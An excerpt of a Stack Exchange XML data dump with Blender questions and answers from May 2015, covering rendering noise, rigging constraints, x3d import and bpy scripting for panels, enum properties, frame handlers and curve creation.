  <row Id="30406" PostTypeId="2" ParentId="30403" CreationDate="2015-05-05T00:10:15.407" Score="2" Body="&lt;p&gt;An inner ring never appears when you do this. You can alternatively use a solidify modifier, or you can follows these easy steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the edge loop on the outside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable vertex snapping &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Tab&lt;/kbd&gt;. &lt;img src=&quot;https://i.stack.imgur.com/JB4Pu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the loop on the inside, then &lt;kbd&gt;G&lt;/kbd&gt; &gt; &lt;kbd&gt;Z&lt;/kbd&gt; and mouse over the outer loop. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3sEYm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding screenshots...&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="6385" LastEditDate="2015-05-05T00:24:25.040" LastActivityDate="2015-05-05T00:24:25.040" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="30407" PostTypeId="1" AcceptedAnswerId="30465" CreationDate="2015-05-05T00:55:17.687" Score="8" ViewCount="2843" Body="&lt;p&gt;I've been trying to get a pretty noise free image from this scene for a while. And nothing seems to be working. I've been trying to use 3000 samples, then rendering different noise seeds and composite them together, but the base images are to noisy to even use this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never really had this much noise before, and I'm not sure what's wrong with it. It already takes around 5-6 hours for me to render it at 3k samples (Laptop, so I can't use GPU rendering). Any help? I've attached my render settings as well if it helps.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/23TQl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a link to a bigger version of the photo if it's not large enough &lt;a href=&quot;https://www.dropbox.com/s/r3swgloty4rt2ef/1430608690119.jpg?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/r3swgloty4rt2ef/1430608690119.jpg?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone on another forum suggested I use Luxrender instead, but I'd rather save myself the time in learning a completely new renderer and converting everything.&lt;/p&gt;&#xA;" OwnerUserId="10871" LastEditorUserId="3401" LastEditDate="2015-12-22T18:40:44.640" LastActivityDate="2019-12-05T09:48:49.803" Title="Managing/Reducing noise in a night scene" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;light&gt;&lt;performance&gt;&lt;optimization&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30408" PostTypeId="2" ParentId="30404" CreationDate="2015-05-05T01:26:22.673" Score="2" Body="&lt;p&gt;Action (animation) actuators need to be part of the object, which you want to animate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the .blend, the animations are applied to the &quot;ground&quot; plane instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make objects interact with each other in the logic editor, select them at the same time using Shift + Leftclick in the Outliner:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iGCGg.jpg&quot; alt=&quot;selecting multiple objects in the Outliner&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will see the objects in the logic editor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rW22E.jpg&quot; alt=&quot;interlinking multiple objects in the logic node editor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then edit the logic so that one object's controller controls other objects' actuators:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pPFsN.jpg&quot; alt=&quot;finished interlinking&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the full process in &lt;a href=&quot;http://youtu.be/bXc7KR4szyE&quot; rel=&quot;nofollow noreferrer&quot;&gt;this video&lt;/a&gt;. &#xA;Unfortunately two of the arrows don't animate correctly and I'm not sure why that is. Perhaps their transformations need to be applied?&lt;/p&gt;&#xA;" OwnerUserId="13843" LastActivityDate="2015-05-05T01:26:22.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30409" PostTypeId="2" ParentId="30380" CreationDate="2015-05-05T02:11:42.053" Score="2" Body="&lt;p&gt;I assume the error is &quot;Circular reference in texture stack&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To resolve it, disable the UV texture for the object's material while baking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f7S5w.gif&quot; alt=&quot;Circular reference in texture stack&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't disable it, Blender will bake a texture onto an image while using that same image to bake the texture, causing an error.&lt;/p&gt;&#xA;" OwnerUserId="13843" LastActivityDate="2015-05-05T02:11:42.053" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30410" PostTypeId="2" ParentId="29092" CreationDate="2015-05-05T04:20:59.213" Score="2" Body="&lt;p&gt;This appears to be a &lt;a href=&quot;https://developer.blender.org/T41943&quot; rel=&quot;nofollow&quot;&gt;reported bug&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/archive/index.php/t-171727.html&quot; rel=&quot;nofollow&quot;&gt;Workaround&lt;/a&gt;: use a very small value like &lt;code&gt;0.00000012&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def rotation():&#xA;    if (mX &amp;lt; 0.10) and (mY &amp;lt; 0.90):&#xA;        cam.setAngularVelocity([0, 0, 0.1], 0)&#xA;    elif (mX &amp;gt; 0.90) and (mY &amp;lt; 0.90):&#xA;        cam.setAngularVelocity([0, 0, -0.1], 0)&#xA;    else:       &#xA;        cam.setAngularVelocity([0, 0, 0.00000012], 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13843" LastActivityDate="2015-05-05T04:20:59.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30411" PostTypeId="2" ParentId="30390" CreationDate="2015-05-05T04:47:32.377" Score="4" Body="&lt;h3&gt;Spritify add-on&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Render/Spritify&quot; rel=&quot;nofollow&quot;&gt;Spritify&lt;/a&gt; is an add-on for making sprite sheets and even animated gifs. It has one external dependency: &lt;a href=&quot;http://www.imagemagick.org/&quot; rel=&quot;nofollow&quot;&gt;ImageMagick&lt;/a&gt;, a command-line tool for editing and creating images.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-05T05:06:25.580" LastActivityDate="2015-05-05T05:06:25.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30412" PostTypeId="1" AcceptedAnswerId="30550" CreationDate="2015-05-05T07:02:36.980" Score="4" ViewCount="906" Body="&lt;p&gt;I am making a rig that transfers motion from one mesh to another via bones. This is for complex mesh hair strands. The base mesh has a cloth sim on it. A Chain of bones are constrained to follow this mesh. Another version of the mesh is then driven by this bone armature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works by having a vertex group of a horizontal loop at the top of each bone. The bone has a Copy Rotation constraint to this group, and an IK to the next group down (at its tip). The bones are not using inherit rotation.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NvXHR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;The copy rot is giving strange results. The bones seem to get ~45 degree rotation around local Y. There is also X and Z rotation, but it is overridden by the IK constraint. I am trying to figure out where this rotation is coming from, and how I get rid of it. I do not want things to rotate until the simmed mesh (red in this picture) starts moving. This problem occurs regardless of the Space I use for the Copy Rot. Different combinations of spaces give different results, but all are wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where is this extra rotation coming from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/217/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=217&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13324" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-05-07T10:42:49.343" Title="Copy Rotation adding rotation to start position?" Tags="&lt;rigging&gt;&lt;bones&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30413" PostTypeId="2" ParentId="30295" CreationDate="2015-05-05T07:03:56.007" Score="4" Body="&lt;p&gt;To answer your questions, I think it makes more sense in the end to have a panel for the script. Sometimes you have to build up extra scaffolding for a script, even for testing. I don't think it is necessary to draw properties to the operator's own panel, you might even want to hide that from appearing anywhere on the UI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a combination of two templates from the Text Editor templates menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To demo this you create a cube, and delete all edges so you have only vertices remaining. Run the code from text editor, then to start drawing you press the &lt;code&gt;Simple modal draw..&lt;/code&gt;button which appears in the 3dview N panel at the bottom. If I understand the question (and it is entirely possible that I don't and there's some language barrier), You want to have access to the rest of 3d view UI while drawing, you want to adjust some settings for the bgl. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oQKKa.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;animated gif of demo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This short snippet lets you adjust the line thickness while the bgl still draws. Below the code I talk about some issues I have with your own code, (and ways to avoid crashing)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bgl&#xA;import blf&#xA;&#xA;&#xA;def draw_callback_px(self, context):&#xA;&#xA;    # 50% alpha, 2 pixel width line&#xA;    bgl.glEnable(bgl.GL_BLEND)&#xA;    bgl.glColor4f(0.0, 0.0, 0.0, 0.5)&#xA;    bgl.glLineWidth(context.scene.BGL_DEMO_PROP_THICKNESS)&#xA;&#xA;    bgl.glBegin(bgl.GL_LINE_STRIP)&#xA;    for co in self.mouse_path:&#xA;        bgl.glVertex3f(*co)&#xA;&#xA;    bgl.glEnd()&#xA;&#xA;    # restore opengl defaults&#xA;    bgl.glLineWidth(1)&#xA;    bgl.glDisable(bgl.GL_BLEND)&#xA;    bgl.glColor4f(0.0, 0.0, 0.0, 1.0)&#xA;&#xA;&#xA;class ModalDrawOperator(bpy.types.Operator):&#xA;&#xA;    bl_idname = &quot;view3d.bgl_demo_modal_operator&quot;&#xA;    bl_label = &quot;Simple Modal View3D Operator&quot;&#xA;&#xA;    def modal(self, context, event):&#xA;        context.area.tag_redraw()&#xA;&#xA;        if event.type in {'MIDDLEMOUSE'}:&#xA;            return {'RUNNING_MODAL'}&#xA;&#xA;&#xA;        if event.type in {'RIGHTMOUSE', 'ESC'}:&#xA;            bpy.types.SpaceView3D.draw_handler_remove(self._handle, 'WINDOW')&#xA;            return {'CANCELLED'}&#xA;&#xA;        return {'PASS_THROUGH'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        if context.area.type == 'VIEW_3D':&#xA;            args = (self, context)&#xA;&#xA;            draw_handler_add = bpy.types.SpaceView3D.draw_handler_add&#xA;            self._handle = draw_handler_add(draw_callback_px, args, 'WINDOW', 'POST_VIEW')&#xA;&#xA;            self.mouse_path = [v.co for v in context.active_object.data.vertices]&#xA;&#xA;            context.window_manager.modal_handler_add(self)&#xA;            return {'RUNNING_MODAL'}&#xA;        else:&#xA;            self.report({'WARNING'}, &quot;View3D not found, cannot run operator&quot;)&#xA;            return {'CANCELLED'}&#xA;&#xA;&#xA;class HelloWorldPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the Object properties window&quot;&quot;&quot;&#xA;    bl_label = &quot;Hello World Panel&quot;&#xA;    bl_idname = &quot;OBJECT_PT_hello&quot;&#xA;    bl_space_type = 'VIEW_3D'&#xA;    bl_region_type = 'UI'&#xA;    # bl_context = &quot;object&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        col = layout.column()&#xA;        col.prop(context.scene, 'BGL_DEMO_PROP_THICKNESS', text='thickness')&#xA;        col.operator(&quot;view3d.bgl_demo_modal_operator&quot;)&#xA;&#xA;&#xA;def register():&#xA;    bpy.types.Scene.BGL_DEMO_PROP_THICKNESS = bpy.props.IntProperty(default=1, max=5)&#xA;    bpy.utils.register_class(HelloWorldPanel)&#xA;    bpy.utils.register_class(ModalDrawOperator)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(HelloWorldPanel)&#xA;    bpy.utils.unregister_class(ModalDrawOperator)&#xA;    del bpy.types.Scene.BGL_DEMO_PROP_THICKNESS&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Things to avoid.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Don't mix bmesh and bpy.ops.mesh while working on the same mesh, that's a recipe for bad code and potential crashes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if chboxjoin0:&#xA;    # bpy.ops.mesh.vert_connect_path()&#xA;    bm.edges.new([v1, v2])&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;BGL is one of the few areas in blender that will cause crashes to desktop, you must deal with all errors/exceptions inside your bgl callback, and return the BGL to a safe default state if there are errors.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;don't mix geometry modifications inside your bgl callback&lt;/li&gt;&#xA;&lt;li&gt;separate bgl parts from bmesh/mesh operations &lt;/li&gt;&#xA;&lt;li&gt;perform mesh operations first, then draw the results.&lt;/li&gt;&#xA;&lt;li&gt;switching contexts inside bgl callback, probably not a good idea.&lt;/li&gt;&#xA;&lt;li&gt;start a lot simpler, maybe even with completely unrelated code just to get a better understanding of the interactions between various parts of your code.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-05T07:22:53.610" LastActivityDate="2015-05-05T07:22:53.610" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30414" PostTypeId="1" AcceptedAnswerId="30426" CreationDate="2015-05-05T07:11:09.887" Score="2" ViewCount="1123" Body="&lt;p&gt;I have a x3d file with several cylinders (they're &lt;em&gt;not&lt;/em&gt; meshes but &lt;em&gt;parametric&lt;/em&gt; cylinders defined according to the x3d spec). Here's a minimal working example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;X3D&amp;gt;&amp;lt;Scene&amp;gt;&#xA;&amp;lt;Shape&amp;gt;&#xA;   &amp;lt;Transform rotation=&quot;0.000000 0.000000 -1.000000 0.025000&quot; &#xA;   translation=&quot;0.999375 0.024990 1.000000&quot; &#xA;   scale=&quot;1 0.024997 1&quot;&amp;gt;&#xA;       &amp;lt;Cylinder radius=&quot;2.000000&quot; top=&quot;true&quot;/&amp;gt;&#xA;   &amp;lt;/Transform&amp;gt;&#xA;&amp;lt;/Shape&amp;gt;&#xA;&amp;lt;/Scene&amp;gt;&amp;lt;/X3D&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I try to import them to Blender nothing happens. I guess Blender can't handle primitives which are not polygonal? Is there a way around this?&lt;/p&gt;&#xA;" OwnerUserId="5022" LastEditorUserId="5022" LastEditDate="2015-05-05T07:30:31.123" LastActivityDate="2015-05-05T11:22:57.307" Title="How to import parametric objects from a x3d file" Tags="&lt;import&gt;&lt;file-format&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30415" PostTypeId="1" AcceptedAnswerId="30427" CreationDate="2015-05-05T07:22:27.190" Score="2" ViewCount="3431" Body="&lt;p&gt;I would like to access the &lt;a href=&quot;https://github.com/scipy/scipy/tree/master/scipy/special&quot; rel=&quot;nofollow noreferrer&quot;&gt;special functions&lt;/a&gt; in Scipy in the scripting window. I have looked at &lt;a href=&quot;https://blender.stackexchange.com/questions/5287/using-3rd-party-python-modules&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;https://blender.stackexchange.com/questions/3321/blender-wont-import-my-custom-module-importerror-no-module-named-mymodule&quot;&gt;this&lt;/a&gt; and @polosson's answer in the first one suggests three possible ways to install a module in order to use it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: My question is - &lt;strong&gt;HOW&lt;/strong&gt; to install &lt;code&gt;scipy.special&lt;/code&gt; into either the Blender Python path (which I should be able to find) or how to instal into a separate folder (which I would point to with the menu indicated in the third option of that answer).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone take a moment to help me find a step-by-step way for me to start using scipy.special in the script window?  Thank You!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;fyi I'm using Blender 2.70a on OSX 10.8.  Currently I run Python 2.7.6 using IDLE elsewhere in the computer, using &lt;a href=&quot;http://penandpants.com/2012/03/01/install-python-2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; method (indicative of my current installation experience  == clicking and dragging).&lt;/p&gt;&#xA;" OwnerUserId="5334" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-05-05T16:12:17.187" Title="How to access to Scipy.special functions within the script window" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2015-05-05T16:25:00.100" ContentLicense="CC BY-SA 3.0" />
  <row Id="30417" PostTypeId="1" CreationDate="2015-05-05T07:54:16.280" Score="1" ViewCount="80" Body="&lt;p&gt;I recently made a pie menu for the uv editor to speed things up. It's activated by clicking on the RMB. One of the command &quot;rip faces&quot; doesnt work the way i want to at the moment, here is what i need help with. When you select the rip faces command in the pie menu you still have to press &quot;g&quot; in order to move the ripped face, this is a little backwards since the whole idea with the pie menu is to not have to use the keyboard at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way you can have &quot;two commands on one button&quot;? (rip + &quot;g&quot;) &#xA;If some on e could provide me with the code for this it would be great. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link to the script: &lt;a href=&quot;http://blenderaddonlist.blogspot.se/2015/04/addon-jimmy-pie-uv.html&quot; rel=&quot;nofollow&quot;&gt;http://blenderaddonlist.blogspot.se/2015/04/addon-jimmy-pie-uv.html&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="14034" LastEditorUserId="241" LastEditDate="2017-03-22T15:22:02.750" LastActivityDate="2017-03-22T15:22:02.750" Title="UV pie menu, need help with rip command (two functions in one)" Tags="&lt;python&gt;&lt;scripting&gt;&lt;uv&gt;&lt;pie-menu&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30419" PostTypeId="1" AcceptedAnswerId="30422" CreationDate="2015-05-05T08:05:27.097" Score="3" ViewCount="138" Body="&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;bpy.data.textures[&quot;mouth shapes&quot;].image_user.frame_offset = bpy.data.objects[&quot;rigMeenuTeen&quot;].pose.bones[&quot;eyes&quot;].location&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Can this kind of expression be a driver?&lt;/p&gt;&#xA;" OwnerUserId="778" LastEditorUserId="72" LastEditDate="2015-05-05T16:23:23.643" LastActivityDate="2015-05-06T06:03:44.200" Title="Can we use just a script for a driver?" Tags="&lt;rigging&gt;&lt;drivers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30420" PostTypeId="1" AcceptedAnswerId="30437" CreationDate="2015-05-05T09:12:46.483" Score="7" ViewCount="2423" Body="&lt;p&gt;Is there a way in Blender to compare two pieces of mesh or two meshes to its similarity? Maybe with some script or an addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I mean: there is a stone or brick broken into half for example:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Nw9CD.jpg&quot; alt=&quot;example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a kind of forensic or architectural task.&#xA;The goal is to prove that those 2 pieces have similar surfaces and may be connected to each other with some threshold or they were a one piece before.&#xA;I know of &quot;select similar&quot; in Blender, similar face area in this case, but it doesn't work quite well for such a task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not a coder so I can't figure out a possibility of solving this.&lt;br&gt;&#xA;So what is the way to do it?&lt;/p&gt;&#xA;" OwnerUserId="14173" LastEditorUserId="3401" LastEditDate="2015-06-30T20:46:36.963" LastActivityDate="2016-04-25T04:46:40.513" Title="Is it possible to compare 2 meshes for the complementarity of their respective surfaces?" Tags="&lt;scripting&gt;&lt;mesh&gt;&lt;objects&gt;&lt;add-on&gt;&lt;selection-tools&gt;" AnswerCount="3" CommentCount="5" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30421" PostTypeId="1" AcceptedAnswerId="30424" CreationDate="2015-05-05T09:36:27.587" Score="3" ViewCount="2052" Body="&lt;p&gt;I want to create a own UI for a add-on which I am writing.&#xA;The user should have the ability to do different things with this add-on.&#xA;For example he can choose a cube or a pyramid. If cube or pyramid is choosen the ui will change. Some fields should be hidden and some should be visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay, first step: Create radio buttons. And now I am stuck :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know I need a EnumProperty, which has the attribute items. Items has all the &quot;values&quot; the radio button can have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly it's not working for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        obj_types_enum = ('0','a','a')&#xA;        obj_type = bpy.props.EnumProperty(items = obj_types_enum)&#xA;&#xA;        layout.label(&quot;Select original form&quot;)&#xA;&#xA;        col = layout.column()&#xA;&#xA;        col.prop(self, 'obj_type')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any advice?&lt;/p&gt;&#xA;" OwnerUserId="13978" LastActivityDate="2021-05-16T22:23:39.260" Title="Create a radio button via python" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30422" PostTypeId="2" ParentId="30419" CreationDate="2015-05-05T09:38:44.773" Score="4" Body="&lt;p&gt;If the property doesn't allow for drivers, it cannot be driven with a driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be driven through &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_0/bpy.app.handlers.html&quot; rel=&quot;nofollow&quot;&gt;app.handlers&lt;/a&gt; though:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def my_handler(scene):&#xA;    # this code will be run on every frame change&#xA;    loc = bpy.data.objects[&quot;rigMeenuTeen&quot;].pose.bones[&quot;eyes&quot;].location&#xA;    bpy.data.textures[&quot;mouth shapes&quot;].image_user.frame_offset = int(loc.x)&#xA;&#xA;bpy.app.handlers.frame_change_pre.append(my_handler)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-05-06T06:03:44.200" LastActivityDate="2015-05-06T06:03:44.200" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30423" PostTypeId="2" ParentId="30421" CreationDate="2015-05-05T09:50:32.533" Score="2" Body="&lt;p&gt;You can replace &lt;code&gt;col.prop(self, 'obj_type')&lt;/code&gt; by &lt;code&gt;col.prop(self, 'obj_type', expand=True)&lt;/code&gt;. This won’t give you real radio buttons, but each enum option will have its own toggle button, instead of having a single drop-down list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note you can have all your options in a row or in a column, depending on the direction of the current layout (&lt;code&gt;row()&lt;/code&gt; and &lt;code&gt;split()&lt;/code&gt; layouts are horizontal, &lt;code&gt;column()&lt;/code&gt; and &lt;code&gt;box()&lt;/code&gt; are vertical…).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no way to get real radio buttons currently in Blender py UI API, afaik (and you won’t find any in current interface).&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-05-05T09:50:32.533" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30424" PostTypeId="2" ParentId="30421" CreationDate="2015-05-05T09:53:09.267" Score="4" Body="&lt;p&gt;This is how you do it:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# This is how you make a static enum prop for the scene&#xA;enum_items = (('0','Cube',''),('1','Pyramid',''))&#xA;bpy.types.Scene.obj_type = bpy.props.EnumProperty(items = enum_items)&#xA;&#xA;# This is how you display it in panel&#xA;def draw(self, context):&#xA;    layout = self.layout&#xA;    layout.label(text=&amp;quot;Select Original Form&amp;quot;)&#xA;&#xA;    layout.prop(context.scene, 'obj_type', expand=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2021-05-16T22:23:39.260" LastActivityDate="2021-05-16T22:23:39.260" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="30425" PostTypeId="2" ParentId="29180" CreationDate="2015-05-05T10:18:08.773" Score="1" Body="&lt;p&gt;I posted the same on SO: &lt;a href=&quot;https://stackoverflow.com/a/30050230/3091066&quot;&gt;https://stackoverflow.com/a/30050230/3091066&lt;/a&gt;, but here is my answer for other users who might be interested: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same thing happened to me when I exported from Blender to Three.js. The solution that worked for me was (after step 3 in your list) to ensure in Blender that there were no object rotations still that hadnt been applied (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;). In other word the skeleton and the mesh must have no additional rotations or scaling.&lt;/p&gt;&#xA;" OwnerUserId="2321" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2015-06-04T12:11:01.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30426" PostTypeId="2" ParentId="30414" CreationDate="2015-05-05T10:27:12.540" Score="1" Body="&lt;p&gt;The problem seems to be the way the x3d is formed. This for instance does work&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;X3D&amp;gt;&#xA;&amp;lt;Scene&amp;gt;&#xA; &amp;lt;Transform rotation=&quot;0.40 0.20 -1.00 1.025000&quot; &#xA;   translation=&quot;2.999375 1.024990 1.000000&quot; &#xA;   scale=&quot;1 1 1&quot;&amp;gt;&#xA;      &amp;lt;Shape&amp;gt;&#xA;        &amp;lt;Cylinder height='1.8' radius=&quot;0.200&quot; top=&quot;true&quot;/&amp;gt;&#xA;        &amp;lt;Appearance&amp;gt;&#xA;          &amp;lt;Material diffuseColor='0 1 1'/&amp;gt;&#xA;        &amp;lt;/Appearance&amp;gt;&#xA;      &amp;lt;/Shape&amp;gt;&#xA;    &amp;lt;/Transform&amp;gt;&#xA;&amp;lt;/Scene&amp;gt;&#xA;&#xA;&amp;lt;/X3D&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;from your comment on the removed post: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The problem is that I have tons of these cylinders (I am trying to visualize a 3d polyline), so writing all of them to meshes creates a very large file.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Blender has an Object type called 'Curve', which can be given a thickness and therefore be renderable. Curves can behave like polylines, with straight segments. If your intention is to render a polyline, instead of letting the x3d importer convert primitive-commands into mesh based primitives, you might devise a way to import a sequence of edges as a Path Curve and set its bevel thickness instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy  &#xA;from mathutils import Vector  &#xA;&#xA;# weight  &#xA;w = 1 &#xA;&#xA;# we don't have to use the Vector() notation.  &#xA;listOfVectors = [(0,0,0),(1,0,0),(2,0,0),(2,3,0),(0,2,1)]  &#xA;&#xA;def MakePolyLine(objname, curvename, cList):  &#xA;    curvedata = bpy.data.curves.new(name=curvename, type='CURVE')  &#xA;    curvedata.dimensions = '3D'  &#xA;    curvedata.bevel_depth = 0.3&#xA;    curvedata.bevel_resolution = 4&#xA;    curvedata.fill_mode = 'FULL'&#xA;&#xA;    object = bpy.data.objects.new(objname, curvedata)  &#xA;    object.location = (0,0,0) #object origin  &#xA;    bpy.context.scene.objects.link(object) &#xA;&#xA;    polyline = curvedata.splines.new('NURBS')&#xA;    polyline.points.add(len(cList)-1)  &#xA;    for num in range(len(cList)):  &#xA;        polyline.points[num].co = (cList[num])+(w,)  &#xA;&#xA;    polyline.order_u = len(polyline.points)-1&#xA;    polyline.use_endpoint_u = True&#xA;    